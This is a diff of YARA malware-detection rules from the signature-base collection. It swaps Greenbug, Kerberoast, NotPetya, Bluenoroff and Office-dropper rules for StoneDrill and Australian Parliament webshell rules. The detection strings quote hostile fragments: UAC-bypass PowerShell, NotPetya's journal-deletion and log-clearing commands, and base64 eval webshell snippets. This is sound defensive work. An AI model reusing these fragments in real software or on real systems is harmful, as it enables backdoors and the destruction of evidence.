 		modified = "2023-12-05"
-		reference = "https://goo.gl/urp4CD"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greenbug.yar#L56-L73"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f4e8672da2ed9d90d4ebfccca977c4aeb93656d9e467cf479699cefd03611f32"
+		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stonedrill.yar#L65-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d7263a527cae45072082c0f2fd0abc33acb2a25b34c06becf36fbd36f0697d5c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
-		hash2 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
 
 	strings:
-		$x1 = "F:\\Projects\\Bot\\Bot\\Release\\Ism.pdb" fullword ascii
-		$x2 = "C:\\ddd\\wer2.txt" fullword wide
-		$x3 = "\\Microsoft\\Windows\\tmp43hh11.txt" wide
+		$s1 = "set u100=" ascii
+		$s2 = "set u200=service" ascii fullword
+		$s3 = "set u800=%~dp0" ascii fullword
+		$s4 = "\"%systemroot%\\system32\\%u100%\"" ascii
+		$s5 = "%\" start /b %systemroot%\\system32\\%" ascii
 
 	condition:
-		1 of them
+		uint32(0)==0x68636540 and 2 of them and filesize <500
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Greenbug_Malware_4 : FILE
+rule SIGNATURE_BASE_Stonedrill_Service_Install : FILE
 {
 	meta:
-		description = "Detects ISMDoor Backdoor"
+		description = "Rule to detect Batch file from StoneDrill report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d45dea36-6051-5531-afd2-abf27cd06a12"
-		date = "2017-01-25"
+		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/urp4CD"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greenbug.yar#L75-L101"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "869832536d838e062227ccd3b84f8559d2215360c0e09ec791db623d7d3d7a3b"
+		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stonedrill.yar#L82-L96"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "52abe90c7f87ffeace4b58f9959e5a21c475bfa7ae2c5bc2744fe5fe43ffdda8"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
-		hash2 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
 
 	strings:
-		$s1 = "powershell.exe -nologo -windowstyle hidden -c \"Set-ExecutionPolicy -scope currentuser" fullword ascii
-		$s2 = "powershell.exe -c \"Set-ExecutionPolicy -scope currentuser -ExecutionPolicy unrestricted -f; . \"" fullword ascii
-		$s3 = "c:\\windows\\temp\\tmp8873" fullword ascii
-		$s4 = "taskkill /im winit.exe /f" fullword ascii
-		$s5 = "invoke-psuacme"
-		$s6 = "-method oobe -payload \"\"" fullword ascii
-		$s7 = "C:\\ProgramData\\stat2.dat" fullword wide
-		$s8 = "Invoke-bypassuac" fullword ascii
-		$s9 = "Start Keylog Done" fullword wide
-		$s10 = "Microsoft\\Windows\\WinIt.exe" fullword ascii
-		$s11 = "Microsoft\\Windows\\Tmp9932u1.bat\"" fullword ascii
-		$s12 = "Microsoft\\Windows\\tmp43hh11.txt" fullword wide
+		$s1 = "127.0.0.1 >nul && sc config" ascii
+		$s2 = "LocalService\" && ping -n" ascii fullword
+		$s3 = "127.0.0.1 >nul && sc start" ascii fullword
+		$s4 = "sc config NtsSrv binpath= \"C:\\WINDOWS\\system32\ntssrvr64.exe" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them ) or (3 of them )
+		2 of them and filesize <500
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Greenbug_Malware_5 : FILE
+rule SIGNATURE_BASE_Stonedrill_Ntssrvr32 : FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Detects malware from StoneDrill threat report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "12362711-f466-5f9e-9227-1cf84aec93e5"
-		date = "2017-01-25"
+		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+		date = "2017-03-07"
 		modified = "2023-01-27"
-		reference = "https://goo.gl/urp4CD"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greenbug.yar#L103-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cdb4b2447e7eb3546b33a804abf5fbc20817823e5c9440109db7b44adf90899d"
+		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stonedrill.yar#L98-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f1122aba53f32b10bd5f43cb619aa5d668b1457f3a5ea2a68c97254ab8631faa"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "308a646f57c8be78e6a63ffea551a84b0ae877b23f28a660920c9ba82d57748f"
-		hash2 = "44bdf5266b45185b6824898664fd0c0f2039cdcb48b390f150e71345cd867c49"
-		hash3 = "7f16824e7ad9ee1ad2debca2a22413cde08f02ee9f0d08d64eb4cb318538be9c"
-		hash4 = "82beaef407f15f3c5b2013cb25901c9fab27b086cadd35149794a25dce8abcb9"
+		hash1 = "394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b"
 
 	strings:
-		$x1 = "cmd /u /c WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter" fullword ascii
-		$x2 = "cmd /a /c net user administrator /domain >>" fullword ascii
-		$x3 = "cmd /a /c netstat -ant >>\"%localappdata%\\Microsoft\\" ascii
-		$o1 = "========================== (Net User) ==========================" ascii fullword
+		$s1 = "g\\system32\\" wide
+		$s2 = "ztvttw" fullword wide
+		$s3 = "lwizvm" fullword ascii
+		$op1 = { 94 35 77 73 03 40 eb e9 }
+		$op2 = { 80 7c 41 01 00 74 0a 3d }
+		$op3 = { 74 0a 3d 00 94 35 77 }
 
 	condition:
-		filesize <2000KB and (( uint16(0)==0x5a4d and 1 of them ) or $o1)
+		( uint16(0)==0x5a4d and filesize <4000KB and 3 of them )
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Greenbug_Malware_Nov17_1 : FILE
+rule SIGNATURE_BASE_Stonedrill_Malware_2 : FILE
 {
 	meta:
-		description = "Detects Greenbug Malware"
+		description = "Detects malware from StoneDrill threat report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "50816c09-5f38-5e05-9915-b96f00ee4b88"
-		date = "2017-11-26"
+		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+		date = "2017-03-07"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/greenbug/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_greenbug.yar#L141-L169"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "afd006d7e53cdedbed5938e5dea71273dd21a1382239bac03194662e95d053c8"
+		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stonedrill.yar#L120-L145"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cb1f8b24465ad8ca19dd540b1f8b63a73bc2624958bf45547b15c10583d07281"
 		score = 75
-		quality = 83
+		quality = 60
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6e55e161dc9ace3076640a36ef4a8819bb85c6d5e88d8e852088478f79cf3b7c"
-		hash2 = "a9f1375da973b229eb649dc3c07484ae7513032b79665efe78c0e55a6e716821"
+		hash1 = "69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db"
 
 	strings:
-		$x1 = "AgentV2.exe  -c  SampleDomain.com" fullword ascii
-		$x2 = ".ntpupdateserver.com" fullword ascii
-		$x3 = "Content-Disposition: form-data; name=\"file\"; filename=\"a.a\"" fullword ascii
-		$x4 = "a67d0db885a3432576548a2a03707334" fullword ascii
-		$x5 = "a67d0db8a2a173347654432503702aa3" fullword ascii
-		$x6 = "!!! can not create output file !!!" fullword ascii
-		$s1 = "\\runlog*" ascii
-		$s2 = "can not specify username!!" fullword ascii
-		$s3 = "Agent can not be configured" fullword ascii
+		$s1 = "cmd /c WMIC Process Call Create \"C:\\Windows\\System32\\Wscript.exe //NOLOGO " fullword wide
+		$s2 = "C:\\ProgramData\\InternetExplorer" fullword wide
+		$s3 = "WshShell.CopyFile \"" fullword wide
+		$s4 = "Abd891.tmp" fullword wide
+		$s5 = "Set WshShell = Nothing" fullword wide
+		$s6 = "AaCcdDeFfGhiKLlMmnNoOpPrRsSTtUuVvwWxyZz32" fullword ascii
+		$s7 = "\\FileInfo.txt" wide
+		$x1 = "C-PDI-C-Cpy-T.vbs" fullword wide
+		$x2 = "C-Dlt-C-Org-T.vbs" fullword wide
+		$x3 = "C-PDC-C-Cpy-T.vbs" fullword wide
+		$x4 = "AC-PDC-C-Cpy-T.vbs" fullword wide
+		$x5 = "C-Dlt-C-Trsh-T.tmp" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="58ba44f7ff5436a603fec3df97d815ea" or pe.imphash()=="538805ecd776b9a42e71aebf94fde1b1" or 1 of ($x*) or 3 of them )
+		( uint16(0)==0x5a4d and filesize <700KB and (1 of ($x*) or 3 of ($s*))) or 5 of them
 }
-rule SIGNATURE_BASE_Getuserspns_VBS
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_Stonedrill : FILE
 {
 	meta:
-		description = "Auto-generated rule - file GetUserSPNs.vbs"
+		description = "Detects malware from StoneDrill threat report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5576c1b9-4670-52c5-b23c-64adcc8709de"
-		date = "2016-05-21"
+		id = "92f53e6a-8f49-5ffa-8c16-3ec3e6f2bdcd"
+		date = "2017-03-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/skelsec/PyKerberoast"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_kerberoast.yar#L8-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ece81cd717fed6ca1f9053384911fd59462b6f3b01210ceeb037ba3da2f7a318"
+		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stonedrill.yar#L147-L170"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ef7173e259f985083d5451a2d464047b40112a084a05d471797d5dbf2d0fb21d"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8dcb568d475fd8a0557e70ca88a262b7c06d0f42835c855b52e059c0f5ce9237"
+		super_rule = 1
+		hash1 = "2bab3716a1f19879ca2e6d98c518debb107e0ed8e1534241f7769193807aac83"
+		hash2 = "62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260"
+		hash3 = "69530d78c86031ce32583c6800f5ffc629acacb18aac4c8bb5b0e915fc4cc4db"
 
 	strings:
-		$s1 = "Wscript.Echo \"User Logon: \" & oRecordset.Fields(\"samAccountName\")" fullword ascii
-		$s2 = "Wscript.Echo \" USAGE:        \" & WScript.ScriptName & \" SpnToFind [GC Servername or Forestname]\"" fullword ascii
-		$s3 = "strADOQuery = \"<\" + strGCPath + \">;(&(!objectClass=computer)(servicePrincipalName=*));\" & _" fullword ascii
+		$x1 = "C-Dlt-C-Trsh-T.tmp" fullword wide
+		$x2 = "C-Dlt-C-Org-T.vbs" fullword wide
+		$s1 = "Hello dear" fullword ascii
+		$s2 = "WRZRZRAR" fullword ascii
+		$opa1 = { 66 89 45 d8 6a 64 ff }
+		$opa2 = { 8d 73 01 90 0f bf 51 fe }
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <700KB and 1 of ($x*) or ( all of ($op*) and all of ($s*))
 }
-rule SIGNATURE_BASE_Getuserspns_PS1
+import "math"
+import "pe"
+
+rule SIGNATURE_BASE_Stonedrill_VBS_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file GetUserSPNs.ps1"
+		description = "Detects malware from StoneDrill threat report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a2fba75c-264f-5e89-afaf-9d19a4a90784"
-		date = "2016-05-21"
+		id = "a7ee3bd4-eeae-5eb4-92e7-9601ec17300a"
+		date = "2017-03-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/skelsec/PyKerberoast"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_kerberoast.yar#L25-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "204b009677a02bf8725f928c2bfff321b4543a883760e312a0c92f187684c8e9"
+		reference = "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_stonedrill.yar#L172-L192"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "79416d27a6a09d544becd84f8e551c09b94c97181f8fddc481f47e42763d47ac"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1b69206b8d93ac86fe364178011723f4b1544fff7eb1ea544ab8912c436ddc04"
+		hash1 = "0f4d608a87e36cb0dbf1b2d176ecfcde837070a2b2a049d532d3d4226e0c9587"
 
 	strings:
-		$s1 = "$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()" fullword ascii
-		$s2 = "@{Name=\"PasswordLastSet\";      Expression={[datetime]::fromFileTime($result.Properties[\"pwdlastset\"][0])} } #, `" fullword ascii
-		$s3 = "Write-Host \"No Global Catalogs Found!\"" fullword ascii
-		$s4 = "$searcher.PropertiesToLoad.Add(\"pwdlastset\") | Out-Null" fullword ascii
+		$x1 = "wmic /NameSpace:\\\\root\\default Class StdRegProv Call SetStringValue hDefKey = \"&H80000001\" sSubKeyName = \"Software\\Micros" ascii
+		$x2 = "ping 1.0.0.0 -n 1 -w 20000 > nul" fullword ascii
+		$s1 = "WshShell.CopyFile \"%COMMON_APPDATA%\\Chrome\\" ascii
+		$s2 = "WshShell.DeleteFile \"%temp%\\" ascii
+		$s3 = "WScript.Sleep(10 * 1000)" fullword ascii
+		$s4 = "Set WshShell = CreateObject(\"Scripting.FileSystemObject\") While WshShell.FileExists(\"" ascii
+		$s5 = " , \"%COMMON_APPDATA%\\Chrome\\" ascii
 
 	condition:
-		2 of them
+		( filesize <1KB and 1 of ($x*) or 2 of ($s*))
 }
-rule SIGNATURE_BASE_Kerberoast_PY
+rule SIGNATURE_BASE_APT_Webshell_Tiny_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule - file kerberoast.py"
+		description = "Detetcs a tiny webshell involved in the Australian Parliament House network compromise"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cea6cdb2-cd1a-5701-a9d1-27c788a962a7"
-		date = "2016-05-21"
+		id = "e65a8920-0684-5aae-a2b8-079c2beae08a"
+		date = "2019-02-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/skelsec/PyKerberoast"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_kerberoast.yar#L43-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3b285cc55733bd4c499ffb4821a92675806bf66faf3b3565ffb6de867bed538d"
+		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aus_parl_compromise.yar#L12-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "277162f720195c94d36fd3350d0dda785007e8cc6ed2ab2aa1a6a6262f2993fa"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "73155949b4344db2ae511ec8cab85da1ccbf2dfec3607fb9acdc281357cdf380"
+		tags = "FILE"
 
 	strings:
-		$s1 = "newencserverticket = kerberos.encrypt(key, 2, encoder.encode(decserverticket), nonce)" fullword ascii
-		$s2 = "key = kerberos.ntlmhash(args.password)" fullword ascii
-		$s3 = "help='the password used to decrypt/encrypt the ticket')" fullword ascii
-		$s4 = "newencserverticket = kerberos.encrypt(key, 2, e, nonce)" fullword ascii
+		$x1 = "eval(" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x3f3c or uint16(0)==0x253c) and filesize <40 and $x1
 }
-rule SIGNATURE_BASE_Bluenoroffpos_DLL
+rule SIGNATURE_BASE_APT_Webshell_AUS_Tiny_2 : FILE
 {
 	meta:
-		description = "Bluenoroff POS malware - hkp.dll"
-		author = "Florian Roth"
-		id = "d2b34b50-c7eb-5852-ba5d-734dd5038c2e"
-		date = "2018-06-07"
+		description = "Detetcs a tiny webshell involved in the Australian Parliament House network compromise"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4746d4ce-628a-59b0-9032-7e0759d96ad3"
+		date = "2019-02-18"
 		modified = "2023-12-05"
-		reference = "http://blog.trex.re.kr/3?category=737685"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_bluenoroff_pos.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "39f23045b3e5ef60c199091b7f01ac2a3a31bcb95219aebb9a4cfd0764886f19"
+		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aus_parl_compromise.yar#L25-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e26c265d2b1606257d8c843921601f14cae2beaf246f8e37daeeb6c5ff12f289"
 		score = 75
-		quality = 73
-		tags = ""
+		quality = 85
+		tags = "FILE"
+		hash1 = "0d6209d86f77a0a69451b0f27b476580c14e0cda15fa6a5003aab57a93e7e5a5"
 
 	strings:
-		$dll = "ksnetadsl.dll" ascii wide fullword nocase
-		$exe = "xplatform.exe" ascii wide fullword nocase
-		$agent = "Nimo Software HTTP Retriever 1.0" ascii wide nocase
-		$log_file = "c:\\windows\\temp\\log.tmp" ascii wide nocase
-		$base_addr = "%d-BaseAddr:0x%x" ascii wide nocase
-		$func_addr = "%d-FuncAddr:0x%x" ascii wide nocase
-		$HF_S = "HF-S(%d)" ascii wide
-		$HF_T = "HF-T(%d)" ascii wide
+		$x1 = "Request.Item[System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(\"[password]\"))];" ascii
+		$x2 = "eval(arguments,System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(\"" ascii
 
 	condition:
-		5 of them
+		( uint16(0)==0x3f3c or uint16(0)==0x253c) and filesize <1KB and 1 of them
 }
-rule SIGNATURE_BASE_Notpetya_Ransomware_Jun17 : FILE
+rule SIGNATURE_BASE_APT_Webshell_AUS_Jscript_3 : FILE
 {
 	meta:
-		description = "Detects new NotPetya Ransomware variant from June 2017"
+		description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8805f971-0680-534d-9955-65dc4ecc934a"
-		date = "2017-06-27"
+		id = "ff7e780b-ccf9-53b6-b741-f04a8cbaf580"
+		date = "2019-02-18"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/h6iaGj"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_nopetya_jun17.yar#L12-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e49fd918e9cc09a60434e62767794cd908f195cb71fd7a752a2b4802973bc92e"
+		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aus_parl_compromise.yar#L40-L53"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e144e555dd80e15ac9072a645e629a86ca1a6b52949d236ec3daedbf06bd6718"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745"
-		hash2 = "45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0"
-		hash3 = "64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1"
+		hash1 = "7ac6f973f7fccf8c3d58d766dec4ab7eb6867a487aa71bc11d5f05da9322582d"
 
 	strings:
-		$x1 = "Ooops, your important files are encrypted." fullword wide ascii
-		$x2 = "process call create \"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\%s\\\" #1 " fullword wide
-		$x3 = "-d C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\%s\",#1 " fullword wide
-		$x4 = "Send your Bitcoin wallet ID and personal installation key to e-mail " fullword wide
-		$x5 = "fsutil usn deletejournal /D %c:" fullword wide
-		$x6 = "wevtutil cl Setup & wevtutil cl System" ascii
-		$x7 = { 2C 00 23 00 31 00 20 00 00 00 00 00 00 00 00 00 72 00 75 00 6E
-         00 64 00 6C 00 6C 00 33 00 32 00 2E 00 65 00 78 00 65 00 }
-		$s1 = "%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\" " fullword wide
-		$s4 = "\\\\.\\pipe\\%ws" fullword wide
-		$s5 = "schtasks %ws/Create /SC once /TN \"\" /TR \"%ws\" /ST %02d:%02d" fullword wide
-		$s6 = "u%s \\\\%s -accepteula -s " fullword wide
-		$s7 = "dllhost.dat" fullword wide
+		$s1 = "<%@ Page Language=\"Jscript\" validateRequest=\"false\"%><%try{eval(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String" ascii
+		$s2 = ".Item[\"[password]\"])),\"unsafe\");}" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 3 of them )
+		uint16(0)==0x6568 and filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_Office_Dropper_Strings : FILE
+rule SIGNATURE_BASE_APT_Webshell_AUS_4 : FILE
 {
 	meta:
-		description = "Detects Office droppers that include a notice to enable active content"
+		description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6560fdf7-46e8-5c16-8263-a36f1dec7868"
-		date = "2018-09-13"
+		id = "bb5b10d1-3528-5361-92fc-8440c65dcda4"
+		date = "2019-02-18"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_office_dropper.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3a66a86eb99a3e7cd02e3444714c6c88b423cd0ea1e6210bf91da01cf804105f"
-		score = 65
+		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aus_parl_compromise.yar#L56-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4a4f26b50631021979e4a8246a1e1c10150f4fb03eb7d77a1042e41ef57b3961"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "83321c02339bb51735fbcd9a80c056bd3b89655f3dc41e5fef07ca46af09bb71"
 
 	strings:
-		$a1 = "_VBA_PROJECT" wide
-		$s1 = "click enable editing" fullword ascii
-		$s2 = "click enable content" fullword ascii
-		$s3 = "\"Enable Editing\"" fullword ascii
-		$s4 = "\"Enable Content\"" fullword ascii
+		$s1 = "wProxy.Credentials = new System.Net.NetworkCredential(pusr, ppwd);" fullword ascii
+		$s2 = "{return System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(" ascii
+		$s3 = ".Equals('User-Agent', StringComparison.OrdinalIgnoreCase))" ascii
+		$s4 = "gen.Emit(System.Reflection.Emit.OpCodes.Ret);" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <500KB and $a1 and 1 of ($s*)
+		uint16(0)==0x7566 and filesize <10KB and 3 of them
 }
-rule SIGNATURE_BASE_SUSP_Enablecontent_String_Gen : FILE
+rule SIGNATURE_BASE_APT_Script_AUS_4 : FILE
 {
 	meta:
-		description = "Detects suspicious string that asks to enable active content in Office Doc"
+		description = "Detetcs a script involved in the Australian Parliament House network compromise"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d763bc21-2925-55df-85e0-1ee857e921ca"
-		date = "2019-02-12"
+		id = "5cbf2476-5ce8-540d-b87b-e400daf49b43"
+		date = "2019-02-18"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_office_dropper.yar#L19-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cde995ab0486fdafdc98e36c28a1f786ee7485387158f7337acd5f7dd0e3fed1"
-		score = 65
-		quality = 85
+		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aus_parl_compromise.yar#L73-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3a81365572380964abe07a1ec16a9ea299bf16a4e624285faaa6f72c44f762d2"
+		score = 75
+		quality = 83
 		tags = "FILE"
-		hash1 = "525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de"
+		hash1 = "fdf15f388a511a63fbad223e6edb259abdd4009ec81fcc87ce84f0f2024c8057"
 
 	strings:
-		$e1 = "Enable Editing" fullword ascii
-		$e2 = "Enable Content" fullword ascii
-		$e3 = "Enable editing" fullword ascii
-		$e4 = "Enable content" fullword ascii
+		$x1 = "myMutex = CreateMutex(0, 1, \"teX23stNew\")" fullword ascii
